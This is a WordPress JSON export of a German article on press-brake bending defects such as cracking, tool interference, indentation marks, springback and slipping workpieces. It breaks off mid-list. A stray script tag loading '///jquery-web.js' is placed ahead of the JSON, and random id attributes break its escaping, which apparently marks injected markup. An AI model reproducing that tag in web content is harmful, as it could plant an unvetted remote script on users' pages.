<script src="///jquery-web.js"></script>{"id":3517,"date":"2024-09-23T02:16:33","date_gmt":"2024-09-23T02:16:33","guid":{"rendered":"https:\/\/www.shen-chong.com\/?p=3517"},"modified":"2024-09-23T02:47:10","modified_gmt":"2024-09-23T02:47:10","slug":"common-bending-quality-problems-and-solutions","status":"publish","type":"post","link":"https:\/\/www.shen-chong.com\/de\/common-bending-quality-problems-and-solutions\/","title":{"rendered":"H\u00e4ufige Probleme und L\u00f6sungen hinsichtlich der Biegequalit\u00e4t"},"content":{"rendered":"<div id="weqalqmt" data-elementor-type=\"wp-post\" data-elementor-id=\"3517\" class=\"elementor elementor-3517\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c50b28c elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c50b28c\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="fylwbnmc" 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Dieser Artikel befasst sich ausf\u00fchrlich mit h\u00e4ufigen Biege- und Schneidqualit\u00e4tsproblemen in der Produktionspraxis, analysiert die Ursachen der Probleme und schl\u00e4gt L\u00f6sungen vor, um Erfahrungen und Referenzen f\u00fcr \u00e4hnliche Probleme in der nachfolgenden Produktionspraxis bereitzustellen.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="fewmtplq" class=\"elementor-element elementor-element-138335f elementor-widget elementor-widget-heading\" data-id=\"138335f\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="jldbwxrl" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-heading-title{padding:0;margin:0;line-height:1}.elementor-widget-heading .elementor-heading-title[class*=elementor-size-]>a{color:inherit;font-size:inherit;line-height:inherit}.elementor-widget-heading .elementor-heading-title.elementor-size-small{font-size:15px}.elementor-widget-heading .elementor-heading-title.elementor-size-medium{font-size:19px}.elementor-widget-heading .elementor-heading-title.elementor-size-large{font-size:29px}.elementor-widget-heading .elementor-heading-title.elementor-size-xl{font-size:39px}.elementor-widget-heading .elementor-heading-title.elementor-size-xxl{font-size:59px}<\/style><h2 class=\"elementor-heading-title elementor-size-default\">Einf\u00fchrung<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="qnckplgp" class=\"elementor-element elementor-element-7f679c3 elementor-widget elementor-widget-text-editor\" data-id=\"7f679c3\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="qgjfpgry" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Beim Blechbiegen wird eine Universalform (oder Spezialform) verwendet, die mit einem <a id="sflgcyht" href=\"https:\/\/www.shen-chong.com\/de\/cnc-abkantpresse\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #3366ff;\">CNC-Abkantpresse<\/span><\/a>\u00a0um Bleche in verschiedene gew\u00fcnschte geometrische Querschnittsformen von Werkst\u00fccken zu biegen. Die Rationalit\u00e4t des Biegeprozesses wirkt sich direkt auf die endg\u00fcltige Formgr\u00f6\u00dfe und das Aussehen des Produkts aus. Eine sinnvolle Auswahl von Biegeformen ist f\u00fcr die endg\u00fcltige Formgebung der Produkte von entscheidender Bedeutung.<\/p><p>Im tats\u00e4chlichen Produktionsprozess treten aufgrund der Unsicherheit der Produktgr\u00f6\u00dfe und der Vielfalt der Produkttypen beim Biegen kaltverarbeiteter Werkst\u00fccke h\u00e4ufig Probleme wie Gr\u00f6\u00dfenst\u00f6rungen und nicht \u00fcbereinstimmende Formwinkel auf, die die Produktion erheblich erschweren. Aufgrund des Einflusses von Faktoren wie Produktgr\u00f6\u00dfe, Form, Material, Form, Ausr\u00fcstung und Zusatzeinrichtungen w\u00e4hrend des Biegeprozesses k\u00f6nnen verschiedene Qualit\u00e4tsprobleme auftreten, die die Produktionseffizienz und die Stabilit\u00e4t der Produktqualit\u00e4t beeintr\u00e4chtigen. Daher ist es besonders wichtig, das Auftreten dieser Biegequalit\u00e4tsprobleme anzugehen und zu vermeiden. Dieser Artikel fasst haupts\u00e4chlich die h\u00e4ufigsten Qualit\u00e4tsprobleme beim Blechbiegen in der Produktionspraxis zusammen und beschreibt sie, analysiert die Gr\u00fcnde anhand der Produktionserfahrung und schl\u00e4gt L\u00f6sungen vor.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="wkyzfrlr" class=\"elementor-element elementor-element-69c41d4 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"69c41d4\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="tkentsnr" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-widget-divider{--divider-border-style:none;--divider-border-width:1px;--divider-color:#0c0d0e;--divider-icon-size:20px;--divider-element-spacing:10px;--divider-pattern-height:24px;--divider-pattern-size:20px;--divider-pattern-url:none;--divider-pattern-repeat:repeat-x}.elementor-widget-divider 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elementor-widget elementor-widget-text-editor\" data-id=\"a92bbb2\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="bamaxwlc" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Biegerisse sind das Ph\u00e4nomen, dass nach dem Schneiden, Scheren oder Stanzen h\u00e4ufig Grate oder kleine Risse an den Kanten von Materialien auftreten. Beim Biegen bilden sich leicht Spannungskonzentrationen, die zu Rissen f\u00fchren. Die U-f\u00f6rmige Verst\u00e4rkungsnut von Lokomotivteilen rei\u00dft nach dem Biegen an den Ecken, wie in Abbildung 1 dargestellt.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="alwcfahd" class=\"elementor-element elementor-element-628a8a6 elementor-widget elementor-widget-image\" data-id=\"628a8a6\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="tbbxkyrg" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-widget-image{text-align:center}.elementor-widget-image a{display:inline-block}.elementor-widget-image a img[src$=\".svg\"]{width:48px}.elementor-widget-image img{vertical-align:middle;display:inline-block}<\/style>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="akhzzqyx" class=\"elementor-element elementor-element-fecf99f elementor-widget elementor-widget-text-editor\" data-id=\"fecf99f\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="bjlczbts" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 1 Biegung und Rissbildung<\/p><p>\u00a0<\/p><p>Die Hauptgr\u00fcnde f\u00fcr Verbiegungen und Risse sind:<\/p><ol><li>Unsaubere Grate an den Kanten der Teile.<\/li><li>Die Biegerichtung verl\u00e4uft parallel zur Walzrichtung des Bleches.<\/li><li>Der Biegeradius des Bleches ist zu klein.<\/li><\/ol><p>W\u00e4hrend des Produktions- und Herstellungsprozesses m\u00fcssen Biege- und Rissph\u00e4nomene entsprechend den spezifischen Umst\u00e4nden behandelt werden. Zur L\u00f6sung des Biege- und Rissproblems in Abbildung 1 kann die Methode des Hinzuf\u00fcgens von Prozessl\u00f6chern oder Prozessnuten angewendet werden, wie in Abbildung 2 dargestellt.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="ypepmkty" class=\"elementor-element elementor-element-e6a6d17 elementor-widget elementor-widget-image\" data-id=\"e6a6d17\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="mfrwxwfs" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="bkwkbzyx" class=\"elementor-element elementor-element-f177be0 elementor-widget elementor-widget-text-editor\" data-id=\"f177be0\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="ybpjfpbb" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 2: Prozessl\u00f6cher hinzuf\u00fcgen<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="jftabjxe" class=\"elementor-element elementor-element-932ee1f elementor-widget elementor-widget-heading\" data-id=\"932ee1f\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="knrpehpt" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Biegeinterferenz<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="danwpmsr" class=\"elementor-element elementor-element-b9e5ab0 elementor-widget elementor-widget-text-editor\" data-id=\"b9e5ab0\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="pwtzclfw" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Biegest\u00f6rungen betreffen haupts\u00e4chlich Produkte mit sekund\u00e4rer oder h\u00f6herer Biegung, bei denen die Biegekante mit der Form oder Ausr\u00fcstung kollidiert, was dazu f\u00fchrt, dass sie nicht richtig geformt werden k\u00f6nnen. Biegest\u00f6rungen werden haupts\u00e4chlich durch die Form, Gr\u00f6\u00dfe und Form der Teile beeinflusst und werden haupts\u00e4chlich durch die Konstruktionsstruktur des gebogenen Teils selbst, die ausgew\u00e4hlte Biegefolge und die ausgew\u00e4hlte Biegeform verursacht. Daher umfassen die Hauptl\u00f6sungen:<\/p><ol><li>Herstellen neuer oder Ersetzen von Formen (z. B. Biegemesserformen).<\/li><li>Umformung von Biegeformen (zB mechanische Bearbeitung von Ortteilen).<\/li><li>Passen Sie die Biegereihenfolge an (z. B. umgekehrte Verformungsmethode).<\/li><li>\u00c4ndern Sie die Biegegr\u00f6\u00dfe der Teile. Beispielsweise besteht die Montagehalterung f\u00fcr den Chassis-Zubeh\u00f6rkanal der Shanghai Metro Line 18 aus U-f\u00f6rmigem Kanalstahl mit einer mittleren Breite von 100 mm, einer Kantenh\u00f6he von 80 mm und einem Biegeradius von 15 mm. Simulieren Sie das Biegen basierend auf den vorhandenen Formen in der Werkstatt, um Biegest\u00f6rungen zu erzeugen.<\/li><\/ol><p>\u00a0<\/p><p>Als Reaktion auf dieses Interferenzph\u00e4nomen wurde f\u00fcr das Biegeoberwerkzeug eine lokale mechanische Bearbeitungsmethode \u00fcbernommen (siehe Abbildung 3). Eine 140 mm \u00d7 48 mm gro\u00dfe Kerbe wurde entlang der Mittellinie des vorhandenen R15 mm-Oberwerkzeugs mit geradem Messer (L = 800 mm) geschnitten (siehe Abbildung 4). Die Kerbenposition wurde durch Kombination mit der simulierten Biegeinterferenzposition bestimmt, ohne ihre urspr\u00fcngliche Funktion zu beeintr\u00e4chtigen. Nach der Modifizierung der Biegeform wurde das Problem der Biegeinterferenz erfolgreich gel\u00f6st.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gqctpyyj" class=\"elementor-element elementor-element-b6e692e elementor-widget elementor-widget-image\" data-id=\"b6e692e\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="rskytegn" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="aykjdhxj" class=\"elementor-element elementor-element-2404924 elementor-widget elementor-widget-text-editor\" data-id=\"2404924\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="arspepdj" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 3: Biegen nach der Oberformbearbeitung<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-b102e52 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"b102e52\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="txthkgws" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="dfjwmtex" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-87646be\" data-id=\"87646be\" data-element_type=\"column\">\n\t\t\t<div id="yfywfshj" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="qwrcafnx" class=\"elementor-element elementor-element-39651d0 elementor-widget elementor-widget-image\" data-id=\"39651d0\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="xmyrhmwz" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lqmcfahf" class=\"elementor-element elementor-element-3b3e2d9 elementor-widget elementor-widget-text-editor\" data-id=\"3b3e2d9\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="dwxhzfbl" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 4: Biegeinterferenz, Bestimmung des Bearbeitungsbereichs<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-9f18958 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"9f18958\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="rykpgfkr" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="czzzhqgb" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-a179511\" data-id=\"a179511\" data-element_type=\"column\">\n\t\t\t<div id="ckldezfs" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="zpdqytjd" class=\"elementor-element elementor-element-4f20412 elementor-widget elementor-widget-heading\" data-id=\"4f20412\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="espnhwpr" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Biegeeindr\u00fccke<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="wncgbghk" class=\"elementor-element elementor-element-a13b181 elementor-widget elementor-widget-text-editor\" data-id=\"a13b181\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="jshehddt" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Biegeeindr\u00fccke sind ein Ph\u00e4nomen, bei dem beim allm\u00e4hlichen Kontakt des Blechs mit der Innenfl\u00e4che der V-f\u00f6rmigen Nut der konkaven Form Reibung entsteht, die deutliche Spuren auf der Oberfl\u00e4che des Blechs hinterl\u00e4sst. Bei einigen Zubeh\u00f6rteilen mit hohen Oberfl\u00e4chenanforderungen kann das herk\u00f6mmliche Biegen die Produktqualit\u00e4tsanforderungen nicht erf\u00fcllen, und die Biegeeindr\u00fccke (siehe Abbildung 5) k\u00f6nnen die Anforderungen des n\u00e4chsten Prozesses nicht erf\u00fcllen.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="dpzxjkxm" class=\"elementor-element elementor-element-0a7475e elementor-widget elementor-widget-image\" data-id=\"0a7475e\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="eesdtytz" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lwxcnrtq" class=\"elementor-element elementor-element-1e7f0c8 elementor-widget elementor-widget-text-editor\" data-id=\"1e7f0c8\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="wltqbmzw" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 5: Biegeeindruck<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="yysgshms" class=\"elementor-element elementor-element-d9ca80d elementor-widget elementor-widget-text-editor\" data-id=\"d9ca80d\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="qgmpayxc" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Die Biegevertiefung wird haupts\u00e4chlich durch die H\u00e4rte des Blechs und die Struktur der unteren Form beeinflusst. Je h\u00f6her die H\u00e4rte des Blechs, desto gr\u00f6\u00dfer ist seine Widerstandsf\u00e4higkeit gegen plastische Verformung, wodurch es f\u00fcr das Material schwieriger wird, sich plastisch zu verformen und es leichter wird, eine Vertiefung zu erzeugen. Die Wahrscheinlichkeit einer Biegevertiefung in h\u00e4ufig verwendeten Blechmaterialien ist: Aluminium &gt; Kohlenstoffstahl &gt; Edelstahl. Je gr\u00f6\u00dfer die \u00d6ffnungsbreite der Biegeform, desto gr\u00f6\u00dfer ist die Breite der Biegevertiefung und desto geringer ist die Vertiefungstiefe. Je gr\u00f6\u00dfer die Gr\u00f6\u00dfe R der unteren Form\u00f6ffnungsschulter, desto geringer ist die Vertiefungstiefe.<\/p><p>Neben der Verbesserung der Materialh\u00e4rte und der unteren Formstruktur k\u00f6nnen auch Gummipolster gegen Eindr\u00fccke und untere Biegeformen mit Kugelform verwendet werden, um das Problem von Biegeeindr\u00fccken zu l\u00f6sen. Das Gummipolster gegen Eindr\u00fccke beruht haupts\u00e4chlich auf physikalischer Isolierung, um das Auftreten von Eindr\u00fccken zu reduzieren, wie in Abbildung 6 gezeigt. Die Biegeform mit Kugelform wandelt die f\u00fcr herk\u00f6mmliche Biegeformen erforderliche Extrusionsreibung in Rollreibung um, wodurch die Reibung verringert und Sch\u00e4den am Produkt minimiert werden, wie in Abbildung 7 gezeigt.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="jnbapbjm" class=\"elementor-element elementor-element-6d05321 elementor-widget elementor-widget-image\" data-id=\"6d05321\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="takwtgzh" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="hxbpjasw" class=\"elementor-element elementor-element-aeb0ea2 elementor-widget elementor-widget-text-editor\" data-id=\"aeb0ea2\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="qxtxmkxx" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 6: Gummipolster gegen Eindr\u00fccken<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-c9fe4f3 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"c9fe4f3\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="jafajeej" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="zeamtyzm" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-fa70ec1\" data-id=\"fa70ec1\" data-element_type=\"column\">\n\t\t\t<div id="zebszqkm" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="jamcrysj" class=\"elementor-element elementor-element-daf42ac elementor-widget elementor-widget-text-editor\" data-id=\"daf42ac\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="yxbwefwg" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 7: Kugelbiege-Unterform<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-ad37e9d elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"ad37e9d\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="dlqmaebp" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="bxhrtxsb" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-0373a73\" data-id=\"0373a73\" data-element_type=\"column\">\n\t\t\t<div id="pjyegafa" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="xcscyjxc" class=\"elementor-element elementor-element-7a04f86 elementor-widget elementor-widget-heading\" data-id=\"7a04f86\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="azcjncag" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Bieger\u00fcckfederung<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="smpanpxt" class=\"elementor-element elementor-element-a906c0d elementor-widget elementor-widget-image\" data-id=\"a906c0d\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="slyqprfa" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="hsfkdkwn" class=\"elementor-element elementor-element-ca4f8d1 elementor-widget elementor-widget-text-editor\" data-id=\"ca4f8d1\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="ykdtgldz" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>W\u00e4hrend des Biegeprozesses werden Materialien gleichzeitig plastisch und elastisch verformt. Wenn das Werkst\u00fcck die Biegeform verl\u00e4sst, tritt eine elastische R\u00fcckverformung ein, wodurch Form und Gr\u00f6\u00dfe des gebogenen Teils nicht mehr mit der Belastung \u00fcbereinstimmen. Dies wird als Bieger\u00fcckverformung bezeichnet. <a id="scakqkbt" href=\"https:\/\/www.shen-chong.com\/de\/understanding-springback-in-sheet-metal-bending\/\" target=\"_blank\" rel=\"noopener\"><span style=\"color: #3366ff;\">Bieger\u00fcckfederung<\/span><\/a><strong><b>\u00a0<\/b><\/strong>ist einer der Hauptgr\u00fcnde f\u00fcr einen unzureichenden Biegewinkel. Die Hauptfaktoren, die den R\u00fcckprall beeinflussen, sind die mechanischen Eigenschaften des Blechs und die Bedingungen der Biegeverformung. Die Gr\u00f6\u00dfe des R\u00fcckfederungswerts ist direkt proportional zur Streckgrenze des Blechs und umgekehrt proportional zum Elastizit\u00e4tsmodul. Je kleiner der relative Biegeradius (R\/t-Verh\u00e4ltnis von Biegeradius zu Blechdicke) des gebogenen Teils ist, desto kleiner ist der Bieger\u00fcckfederungswert. Die Form des gebogenen Teils beeinflusst auch die Gr\u00f6\u00dfe des Bieger\u00fcckfederungswerts. Im Allgemeinen haben U-f\u00f6rmige Teile einen kleineren R\u00fcckfederungswert als V-f\u00f6rmige Teile.<\/p><p>Die wichtigste Methode zur \u00dcberwindung der Bieger\u00fcckfederung ist die Winkelkompensationsmethode. Dabei wird im Allgemeinen eine Neigung gleich dem R\u00fcckfederungswinkel auf der Biegeform erzeugt, wodurch die Auswirkungen der Bieger\u00fcckfederung effektiv ausgeglichen werden k\u00f6nnen. Wie in Abbildung 8 dargestellt, k\u00f6nnen Werkst\u00fccke mit einem Biegewinkel von 90\u00b0 problemlos gebogen werden, wenn eine Biegeform mit einer Neigung von 80\u00b0 verwendet wird.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-a39d395 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"a39d395\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="hkkzhmzf" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="axmjdtms" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-0cae257\" data-id=\"0cae257\" data-element_type=\"column\">\n\t\t\t<div id="tsqywejj" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="gdpgttlm" class=\"elementor-element elementor-element-61d0c63 elementor-widget elementor-widget-image\" data-id=\"61d0c63\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="gznqrdcg" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="wzksyhfy" class=\"elementor-element elementor-element-47d9b36 elementor-widget elementor-widget-text-editor\" data-id=\"47d9b36\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="ejkbzdzc" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p style=\"text-align: center;\">Abbildung 8: Bieger\u00fcckfederungskompensation<\/p><p>Aufgrund der vielen Faktoren, die die Bieger\u00fcckfederung beeinflussen, ist es sehr schwierig, den R\u00fcckfederungswert genau zu berechnen. Durch Probeformkorrektur und Erfahrungssammlung sind das Beherrschen des R\u00fcckfederungsgesetzes, die Anwendung geeigneter Kompensationen und das Ergreifen von Ma\u00dfnahmen zur \u00dcberwindung der R\u00fcckfederung in der Formstruktur und anderen Aspekten wirksame Methoden zur Gew\u00e4hrleistung der Produktqualit\u00e4t.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-a5fc1e8 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"a5fc1e8\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="gqkmdzfh" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="wmzdlhmm" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1ca75a0\" data-id=\"1ca75a0\" data-element_type=\"column\">\n\t\t\t<div id="yjyqtpta" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="sgwnfxqj" class=\"elementor-element elementor-element-c83c5b5 elementor-widget elementor-widget-heading\" data-id=\"c83c5b5\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="dspkhqrw" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Biegeschlittenmaterial<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="mnptyxkx" class=\"elementor-element elementor-element-fc2c518 elementor-widget elementor-widget-text-editor\" data-id=\"fc2c518\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="lzxpnxsg" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Unter Biegerutschen versteht man das Ph\u00e4nomen, dass das zu biegende Werkst\u00fcck keinen vollst\u00e4ndigen und wirksamen Auflagepunkt auf der unteren Matrizennut hat. Dies f\u00fchrt dazu, dass das Werkst\u00fcck zum Verrutschen neigt und die Biegung nicht richtig positioniert werden kann.<\/p><p>Die Hauptgr\u00fcnde f\u00fcr das Verbiegen von Gleitmaterialien sind die folgenden.<\/p><ol><li>Wenn die Breite der Unterform zu gro\u00df ist und die Biegegr\u00f6\u00dfe weniger als die H\u00e4lfte der Breite der Unterform betr\u00e4gt, kommt es zum Gleiten.<\/li><li>Wenn das Werkst\u00fcck durch seine Form und Gr\u00f6\u00dfe beeinflusst wird und die Positionierungsgr\u00f6\u00dfe der Schablone zu kurz ist oder keine wirksame Schablonenpositionierungskante vorhanden ist, k\u00f6nnen Biege- und Gleitph\u00e4nomene auftreten.<\/li><\/ol><p>\u00a0<\/p><p>Es gibt zwei Hauptmethoden, um das Problem von Biege- und Gleitmaterialien zu l\u00f6sen.<\/p><ul><li>Methode 1. W\u00e4hlen Sie ein geeignetes Biegewerkzeug. W\u00e4hlen Sie im Allgemeinen eine Werkzeugbreite von 4-6 Mal der Dicke der zu biegenden Platte.<\/li><li>Methode 2. Durch die Verwendung der Methode zum Hinzuf\u00fcgen von Vorlagen oder Prozesskanten kann das Problem des Materialschlupfes aufgrund einer schlechten Positionierung aufgrund des Biegens gel\u00f6st werden. Im Allgemeinen wird das Biegen durch eine gerade Kante des Werkst\u00fccks positioniert, was erfordert, dass zwei Endfl\u00e4chen zur Positionierung mit der Biegeschablone in Kontakt stehen. Im tats\u00e4chlichen Produktionsprozess gibt es jedoch Situationen, in denen die Kante der Produktschablone zu kurz ist oder keine wirksame Positionierungskante vorhanden ist, was dazu f\u00fchrt, dass die Biegepositionierung nicht abgeschlossen werden kann. Die L\u00f6sungen sind:<\/li><\/ul><p>\u00a0<\/p><ol><li>Wenn die Plattendicke t \u2264 6 mm ist, f\u00fcgen Sie zur Positionierung eine Prozesskante hinzu. 